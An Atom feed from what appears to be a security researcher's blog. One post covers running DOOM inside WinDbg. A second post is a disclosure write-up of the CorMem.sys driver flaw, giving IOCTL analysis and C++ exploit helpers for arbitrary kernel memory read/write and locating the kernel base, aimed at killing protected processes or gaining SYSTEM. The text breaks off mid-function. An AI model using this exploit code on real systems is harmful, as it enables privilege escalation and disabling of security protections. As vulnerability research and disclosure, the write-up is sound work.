<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-05-08T04:38:21+00:00</updated><id>/feed.xml</id><title type="html">t0asts’ blog</title><author><name>t0asts</name></author><entry><title type="html">Playing DOOM inside WinDbg</title><link href="/windbg-doom" rel="alternate" type="text/html" title="Playing DOOM inside WinDbg" /><published>2026-04-26T00:00:00+00:00</published><updated>2026-04-26T00:00:00+00:00</updated><id>/windbg-doom</id><content type="html" xml:base="/windbg-doom"><![CDATA[<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/windbg-doom/doom.png" alt="Doom" /></p>

<ul>
  <li><a href="#what">What?</a></li>
  <li><a href="#how">How?</a></li>
  <li><a href="#acknowledgment">Acknowledgment</a></li>
</ul>

<h2 id="what">What?</h2>

<p>For anyone that has used WinDbg, you might have found yourself automating tedious analysis tasks through scripts written in JavaScript, or compiled extensions, like <a href="https://github.com/eversinc33/drvtrace">drvtrace</a> from <a href="https://github.com/eversinc33">eversinc33</a> for example. While reading guides on writing extensions, I came across this <a href="https://minidump.net/writing-native-windbg-extensions-in-c-5390726f3cec">post</a> by <a href="https://github.com/kevingosse">Kevin Gosse</a> on writing WinDbg extensions in C# and building them using NativeAOT so they can be loaded in WinDbg, and what better first extension to build than a playable version of DOOM?</p>

<h2 id="how">How?</h2>

<p>Under the hood, the extension uses <a href="https://github.com/sinshu/managed-doom">Managed Doom</a> by <a href="https://github.com/sinshu">Nobuaki Tanaka</a> for all gameplay logic, including loading the DOOM IWAD, running the actual game, and producing each rendered frame, with the only exception being audio, which is completely disabled.</p>

<p>The extension handles everything between Managed Doom and WinDbg, such as the initialization logic so WinDbg can actually load it, handling commands and passing control to the main game loop, frame conversion to text, and forwarding user inputs to the game to make it “playable”.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="nf">UnmanagedCallersOnly</span><span class="p">(</span><span class="n">EntryPoint</span> <span class="p">=</span> <span class="s">"doom"</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">static</span> <span class="kt">int</span> <span class="nf">Doom</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">client</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">argsPtr</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">try</span>
    <span class="p">{</span>
        <span class="k">using</span> <span class="nn">var</span> <span class="n">output</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">DbgEngOutput</span><span class="p">(</span><span class="n">client</span><span class="p">);</span>
        <span class="kt">string</span> <span class="n">args</span> <span class="p">=</span> <span class="n">Marshal</span><span class="p">.</span><span class="nf">PtrToStringAnsi</span><span class="p">(</span><span class="n">argsPtr</span><span class="p">)</span> <span class="p">??</span> <span class="kt">string</span><span class="p">.</span><span class="n">Empty</span><span class="p">;</span>
        <span class="n">args</span> <span class="p">=</span> <span class="n">args</span><span class="p">.</span><span class="nf">Trim</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span> <span class="p">||</span> <span class="n">args</span> <span class="p">==</span> <span class="s">"?"</span> <span class="p">||</span> <span class="n">args</span> <span class="p">==</span> <span class="s">"/?"</span> <span class="p">||</span> <span class="n">args</span> <span class="p">==</span> <span class="s">"-?"</span> <span class="p">||</span> <span class="n">args</span> <span class="p">==</span> <span class="s">"help"</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="nf">PrintHelp</span><span class="p">(</span><span class="n">output</span><span class="p">);</span>
            <span class="k">return</span> <span class="m">0</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">DoomHost</span><span class="p">.</span><span class="nf">Run</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">output</span><span class="p">);</span>
        <span class="k">return</span> <span class="m">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">catch</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="m">1</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Frames from Managed Doom are converted into text by outputting the frame into a 640x400 RGBA buffer, binning the pixels into a smaller grid based on the selected resolution (default is 160x50, I use 240x75), averaging the brightness of each character cell, and mapping it to a character from the following selection <code class="language-plaintext highlighter-rouge">.'`,:;-+*#%@&amp;$</code>. Finally, each converted frame is outputted to the command window as text.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">row</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">row</span> <span class="p">&lt;</span> <span class="n">_charsH</span><span class="p">;</span> <span class="n">row</span><span class="p">++)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">yStart</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">row</span> <span class="p">*</span> <span class="n">_srcH</span> <span class="p">/</span> <span class="n">_charsH</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">yEnd</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)(</span><span class="n">row</span> <span class="p">+</span> <span class="m">1</span><span class="p">)</span> <span class="p">*</span> <span class="n">_srcH</span> <span class="p">/</span> <span class="n">_charsH</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">yEnd</span> <span class="p">&lt;=</span> <span class="n">yStart</span><span class="p">)</span> <span class="n">yEnd</span> <span class="p">=</span> <span class="n">yStart</span> <span class="p">+</span> <span class="m">1</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">col</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">col</span> <span class="p">&lt;</span> <span class="n">_charsW</span><span class="p">;</span> <span class="n">col</span><span class="p">++)</span>
    <span class="p">{</span>
        <span class="kt">int</span> <span class="n">xStart</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">col</span> <span class="p">*</span> <span class="n">_srcW</span> <span class="p">/</span> <span class="n">_charsW</span><span class="p">);</span>
        <span class="kt">int</span> <span class="n">xEnd</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)(</span><span class="n">col</span> <span class="p">+</span> <span class="m">1</span><span class="p">)</span> <span class="p">*</span> <span class="n">_srcW</span> <span class="p">/</span> <span class="n">_charsW</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">xEnd</span> <span class="p">&lt;=</span> <span class="n">xStart</span><span class="p">)</span> <span class="n">xEnd</span> <span class="p">=</span> <span class="n">xStart</span> <span class="p">+</span> <span class="m">1</span><span class="p">;</span>

        <span class="kt">int</span> <span class="n">sum</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">count</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">x</span> <span class="p">=</span> <span class="n">xStart</span><span class="p">;</span> <span class="n">x</span> <span class="p">&lt;</span> <span class="n">xEnd</span><span class="p">;</span> <span class="n">x</span><span class="p">++)</span>
        <span class="p">{</span>
            <span class="kt">int</span> <span class="n">colBase</span> <span class="p">=</span> <span class="n">x</span> <span class="p">*</span> <span class="n">_srcH</span> <span class="p">*</span> <span class="m">4</span><span class="p">;</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">y</span> <span class="p">=</span> <span class="n">yStart</span><span class="p">;</span> <span class="n">y</span> <span class="p">&lt;</span> <span class="n">yEnd</span><span class="p">;</span> <span class="n">y</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="kt">int</span> <span class="n">p</span> <span class="p">=</span> <span class="n">colBase</span> <span class="p">+</span> <span class="n">y</span> <span class="p">*</span> <span class="m">4</span><span class="p">;</span>
                <span class="n">sum</span> <span class="p">+=</span> <span class="n">source</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="p">+</span> <span class="n">source</span><span class="p">[</span><span class="n">p</span> <span class="p">+</span> <span class="m">1</span><span class="p">]</span> <span class="p">+</span> <span class="n">source</span><span class="p">[</span><span class="n">p</span> <span class="p">+</span> <span class="m">2</span><span class="p">];</span>
                <span class="n">count</span><span class="p">++;</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="kt">int</span> <span class="n">idx</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">sum</span> <span class="p">*</span> <span class="n">rampLen</span> <span class="p">/</span> <span class="p">(</span><span class="n">count</span> <span class="p">*</span> <span class="m">3</span> <span class="p">*</span> <span class="m">256</span><span class="p">));</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="p">&gt;</span> <span class="n">rampLast</span><span class="p">)</span> <span class="n">idx</span> <span class="p">=</span> <span class="n">rampLast</span><span class="p">;</span>
        <span class="n">_sb</span><span class="p">.</span><span class="nf">Append</span><span class="p">(</span><span class="n">Ramp</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="n">_sb</span><span class="p">.</span><span class="nf">Append</span><span class="p">(</span><span class="sc">'\n'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>User inputs are captured each tick and pressed keys are tracked using <code class="language-plaintext highlighter-rouge">GetAsyncKeyState</code>, which are then converted to game key codes. Input is only forwarded to the game when WinDbg or one of its close relatives is the active focused window.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="n">List</span><span class="p">&lt;</span><span class="n">DoomEvent</span><span class="p">&gt;</span> <span class="nf">Poll</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">Array</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">_curr</span><span class="p">,</span> <span class="n">_prev</span><span class="p">,</span> <span class="n">_curr</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
    <span class="n">Array</span><span class="p">.</span><span class="nf">Clear</span><span class="p">(</span><span class="n">_curr</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">_curr</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="nf">ShouldAcceptInput</span><span class="p">())</span>
    <span class="p">{</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">vk</span> <span class="p">=</span> <span class="m">1</span><span class="p">;</span> <span class="n">vk</span> <span class="p">&lt;</span> <span class="m">256</span><span class="p">;</span> <span class="n">vk</span><span class="p">++)</span>
        <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">vk</span> <span class="p">==</span> <span class="m">0x10</span> <span class="p">||</span> <span class="n">vk</span> <span class="p">==</span> <span class="m">0x11</span> <span class="p">||</span> <span class="n">vk</span> <span class="p">==</span> <span class="m">0x12</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>
            <span class="kt">short</span> <span class="n">s</span> <span class="p">=</span> <span class="nf">GetAsyncKeyState</span><span class="p">(</span><span class="n">vk</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">((</span><span class="n">s</span> <span class="p">&amp;</span> <span class="m">0x8000</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>

            <span class="n">DoomKey</span> <span class="n">k</span> <span class="p">=</span> <span class="n">DoomKeyMap</span><span class="p">.</span><span class="nf">FromVk</span><span class="p">(</span><span class="n">vk</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">false</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">k</span> <span class="p">!=</span> <span class="n">DoomKey</span><span class="p">.</span><span class="n">Unknown</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">_curr</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">k</span><span class="p">]</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="kt">var</span> <span class="n">edges</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p">&lt;</span><span class="n">DoomEvent</span><span class="p">&gt;();</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">_curr</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
    <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">_curr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">!=</span> <span class="n">_prev</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
        <span class="p">{</span>
            <span class="n">edges</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="k">new</span> <span class="nf">DoomEvent</span><span class="p">(</span>
                <span class="n">_curr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">?</span> <span class="n">EventType</span><span class="p">.</span><span class="n">KeyDown</span> <span class="p">:</span> <span class="n">EventType</span><span class="p">.</span><span class="n">KeyUp</span><span class="p">,</span> <span class="p">(</span><span class="n">DoomKey</span><span class="p">)</span><span class="n">i</span><span class="p">));</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">edges</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The project can be found here: <a href="https://github.com/t0asts/windbg-doom">https://github.com/t0asts/windbg-doom</a><br />
A video showing gameplay can be found here: <a href="https://www.youtube.com/watch?v=lDo061NRSHg">https://www.youtube.com/watch?v=lDo061NRSHg</a></p>

<h2 id="acknowledgment">Acknowledgment</h2>

<p>Feedback and corrections are welcome.</p>]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Weaponizing CorMem.sys to Terminate Protected Processes</title><link href="/cormem" rel="alternate" type="text/html" title="Weaponizing CorMem.sys to Terminate Protected Processes" /><published>2026-04-05T00:00:00+00:00</published><updated>2026-04-05T00:00:00+00:00</updated><id>/cormem</id><content type="html" xml:base="/cormem"><![CDATA[<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/vdblocklist.png" alt="VDBlocklist" /></p>

<ul>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#iocs">IOCs</a></li>
  <li><a href="#analysis">Analysis</a></li>
  <li><a href="#exploit">Exploit</a></li>
  <li><a href="#acknowledgment">Acknowledgment</a></li>
</ul>

<h2 id="overview">Overview</h2>

<p>In this post I’m going over my analysis of the Sapera Memory Manager driver “CorMem.sys” from Teledyne Digital Imaging, which exposes physical memory read/write functionality to usermode through IOCTLs that are controllable from an unprivileged context. This allows an unprivileged user to elevate to SYSTEM, or to strip PPL protection from a process and terminate it (also mapping unsigned drivers and much more). Additionally, the driver does load and is abusable on Windows 11 with HVCI and the MS vulnerable driver blocklist enabled.</p>

<p>POC can be found here: <a href="https://github.com/t0asts/cormemterminator">https://github.com/t0asts/cormemterminator</a></p>

<h2 id="iocs">IOCs</h2>

<p><strong>SHA-256:</strong>
<a href="https://www.virustotal.com/gui/file/40c855d20d497823716a08a443dc85846233226985ee653770bc3b245cf2ed0f">40c855d20d497823716a08a443dc85846233226985ee653770bc3b245cf2ed0f</a></p>

<h2 id="analysis">Analysis</h2>

<p>The primary flaw allowing for unprivileged abuse of the driver, is the insecure device object creation. The device is created with no explicit security descriptor (DACL) and the <code class="language-plaintext highlighter-rouge">DeviceCharacteristics</code> parameter set to <code class="language-plaintext highlighter-rouge">NULL</code> rather than something like <code class="language-plaintext highlighter-rouge">FILE_DEVICE_SECURE_OPEN</code>.</p>

<p>Without a restrictive DACL, the device inherits a default security descriptor that grants <code class="language-plaintext highlighter-rouge">GENERIC_READ | GENERIC_WRITE</code> to all authenticated users (including our unprivileged one). Also, without <code class="language-plaintext highlighter-rouge">FILE_DEVICE_SECURE_OPEN</code> in <code class="language-plaintext highlighter-rouge">DeviceCharacteristics</code>, the I/O manager only enforces the device’s security descriptor on opens to the device object itself, opens to all other paths of the device namespace (<code class="language-plaintext highlighter-rouge">\\.\CORMEM\foobar</code>) bypass the check entirely. Combined with the default DACL, any unprivileged user can open a handle and issue IOCTLs.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/devicecreation.png" alt="DeviceCreation" /></p>

<p>The first target IOCTL is <code class="language-plaintext highlighter-rouge">0x22200c</code> (IOCTL_MAP), which calls a handler function that accepts a user supplied physical address and length. These values are then passed to the actual map function.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/maphandler.png" alt="MapHandler" /></p>

<p>The map function opens <code class="language-plaintext highlighter-rouge">\Device\PhysicalMemory</code> via <code class="language-plaintext highlighter-rouge">ZwOpenSection</code> with <code class="language-plaintext highlighter-rouge">SECTION_ALL_ACCESS</code> (<code class="language-plaintext highlighter-rouge">0xF001F</code>), calls <code class="language-plaintext highlighter-rouge">ObReferenceObjectByHandle</code> on the section, maps the requested physical range into the calling process via <code class="language-plaintext highlighter-rouge">ZwMapViewOfSection</code> and returns the mapped virtual address to us in usermode. It should be noted there is NO validation of the requested physical address or length, any physical address range can be mapped.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/mapfunc1.png" alt="MapFunction1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/mapfunc2.png" alt="MapFunction2" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/mapfunc3.png" alt="MapFunction3" /></p>

<p>The second target IOCTL is <code class="language-plaintext highlighter-rouge">0x222010</code> (IOCTL_UNMAP), which as the name implies, allows us to unmap a previously mapped physical memory region. The unmap function accepts a virtual address and calls <code class="language-plaintext highlighter-rouge">ZwUnmapViewOfSection</code>, unmapping the provided region.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/unmapfunc.png" alt="UnmapFunction" /></p>

<p>The third target IOCTL is <code class="language-plaintext highlighter-rouge">0x22201C</code> (IOCTL_V2P), which accepts a kernel virtual address (KVA) from usermode and calls <code class="language-plaintext highlighter-rouge">MmGetPhysicalAddress</code> against it, returning the physical address. Once again, it should be noted there is NO validation that the address belongs to the calling process.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/virttophysfunc.png" alt="VirtToPhysFunction" /></p>

<p>Between these three IOCTLs we have enough to weaponize it.</p>

<h2 id="exploit">Exploit</h2>

<p>The <a href="https://github.com/t0asts/cormemterminator">POC</a> allows an unprivileged user to terminate protected processes, or elevate to SYSTEM, but how?</p>

<p>First we need to setup some helper functions to simplify the process of translating virtual addresses to physical, and reading &amp; writing physical memory.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">KRead</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">kva</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">physAddr</span> <span class="o">=</span> <span class="n">VirtToPhys</span><span class="p">(</span><span class="n">kva</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">physAddr</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">pageOffset</span> <span class="o">=</span> <span class="n">physAddr</span> <span class="o">&amp;</span> <span class="mh">0xFFF</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">pageBase</span> <span class="o">=</span> <span class="n">physAddr</span> <span class="o">-</span> <span class="n">pageOffset</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">mapSize</span> <span class="o">=</span> <span class="p">(</span><span class="n">pageOffset</span> <span class="o">+</span> <span class="n">size</span> <span class="o">+</span> <span class="mh">0xFFF</span><span class="p">)</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xFFFULL</span><span class="p">;</span>

	<span class="n">PVOID</span> <span class="n">mapped</span> <span class="o">=</span> <span class="n">MapPhys</span><span class="p">(</span><span class="n">pageBase</span><span class="p">,</span> <span class="n">mapSize</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">mapped</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">memcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">mapped</span> <span class="o">+</span> <span class="n">pageOffset</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
	<span class="n">UnmapPhys</span><span class="p">(</span><span class="n">mapped</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">KWrite</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">kva</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">physAddr</span> <span class="o">=</span> <span class="n">VirtToPhys</span><span class="p">(</span><span class="n">kva</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">physAddr</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">pageOffset</span> <span class="o">=</span> <span class="n">physAddr</span> <span class="o">&amp;</span> <span class="mh">0xFFF</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">pageBase</span> <span class="o">=</span> <span class="n">physAddr</span> <span class="o">-</span> <span class="n">pageOffset</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">mapSize</span> <span class="o">=</span> <span class="p">(</span><span class="n">pageOffset</span> <span class="o">+</span> <span class="n">size</span> <span class="o">+</span> <span class="mh">0xFFF</span><span class="p">)</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xFFFULL</span><span class="p">;</span>

	<span class="n">PVOID</span> <span class="n">mapped</span> <span class="o">=</span> <span class="n">MapPhys</span><span class="p">(</span><span class="n">pageBase</span><span class="p">,</span> <span class="n">mapSize</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">mapped</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">memcpy</span><span class="p">((</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">mapped</span> <span class="o">+</span> <span class="n">pageOffset</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
	<span class="n">UnmapPhys</span><span class="p">(</span><span class="n">mapped</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Next, the base address for <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> must be discovered, since it is randomized by KASLR on boot. This can be done on Windows 10 to pre-24H2 Windows 11 using <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> and the <code class="language-plaintext highlighter-rouge">SystemModuleInformation</code> (11) flag, which returns <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> as the first module.</p>

<p>For Windows 11 versions post-24H2, this won’t work. Instead we can scan the entire kernel image region in 2 MB steps, starting from <code class="language-plaintext highlighter-rouge">0xFFFFF80000000000</code>, and ending at <code class="language-plaintext highlighter-rouge">0xFFFFF80800000000</code>. Each address is tested with <code class="language-plaintext highlighter-rouge">VirtToPhys</code>, where unmapped pages return <code class="language-plaintext highlighter-rouge">0</code>, and the mapped pages we do find can be read with <code class="language-plaintext highlighter-rouge">KRead</code>. Each mapped page we can successfully read is checked for a valid PE header with the following markers to identify <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>:</p>

<ul>
  <li>MZ “magic” signature (<code class="language-plaintext highlighter-rouge">0x5A4D</code>)</li>
  <li>Valid PE signature (<code class="language-plaintext highlighter-rouge">0x00004550</code>)</li>
  <li>PE32+ optional header (<code class="language-plaintext highlighter-rouge">0x20B</code>)</li>
  <li>Native subsystem (<code class="language-plaintext highlighter-rouge">IMAGE_SUBSYSTEM_NATIVE == 1</code>)</li>
  <li>Large image size (<code class="language-plaintext highlighter-rouge">&gt; 0x500000</code>)</li>
</ul>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">GetNtoskrnlBaseQSI</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">auto</span> <span class="n">NtQSI</span> <span class="o">=</span> <span class="p">(</span><span class="n">fnNtQSI</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="s">"ntdll"</span><span class="p">),</span> <span class="s">"NtQuerySystemInformation"</span><span class="p">);</span>

	<span class="n">ULONG</span> <span class="n">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">NtQSI</span><span class="p">(</span><span class="n">SystemModuleInformation</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">length</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">length</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">auto</span><span class="o">*</span> <span class="n">modules</span> <span class="o">=</span> <span class="p">(</span><span class="n">MODULE_LIST</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">length</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">modules</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">NtQSI</span><span class="p">(</span><span class="n">SystemModuleInformation</span><span class="p">,</span> <span class="n">modules</span><span class="p">,</span> <span class="n">length</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">length</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">free</span><span class="p">(</span><span class="n">modules</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">ULONGLONG</span> <span class="n">base</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">modules</span><span class="o">-&gt;</span><span class="n">Modules</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">ImageBase</span><span class="p">;</span>

	<span class="n">free</span><span class="p">(</span><span class="n">modules</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">base</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">GetNtoskrnlBaseVAScan</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">const</span> <span class="n">ULONGLONG</span> <span class="n">VA_START</span> <span class="o">=</span> <span class="mh">0xFFFFF80000000000ULL</span><span class="p">;</span>
	<span class="k">const</span> <span class="n">ULONGLONG</span> <span class="n">VA_END</span> <span class="o">=</span> <span class="mh">0xFFFFF80800000000ULL</span><span class="p">;</span>
	<span class="k">const</span> <span class="n">ULONGLONG</span> <span class="n">STEP</span> <span class="o">=</span> <span class="mh">0x200000</span><span class="p">;</span>

	<span class="k">for</span> <span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">va</span> <span class="o">=</span> <span class="n">VA_START</span><span class="p">;</span> <span class="n">va</span> <span class="o">&lt;</span> <span class="n">VA_END</span><span class="p">;</span> <span class="n">va</span> <span class="o">+=</span> <span class="n">STEP</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">VirtToPhys</span><span class="p">(</span><span class="n">va</span><span class="p">))</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">USHORT</span> <span class="n">magic</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KRead</span><span class="p">(</span><span class="n">va</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">magic</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">||</span> <span class="n">magic</span> <span class="o">!=</span> <span class="mh">0x5A4D</span><span class="p">)</span>
			<span class="k">continue</span><span class="p">;</span>

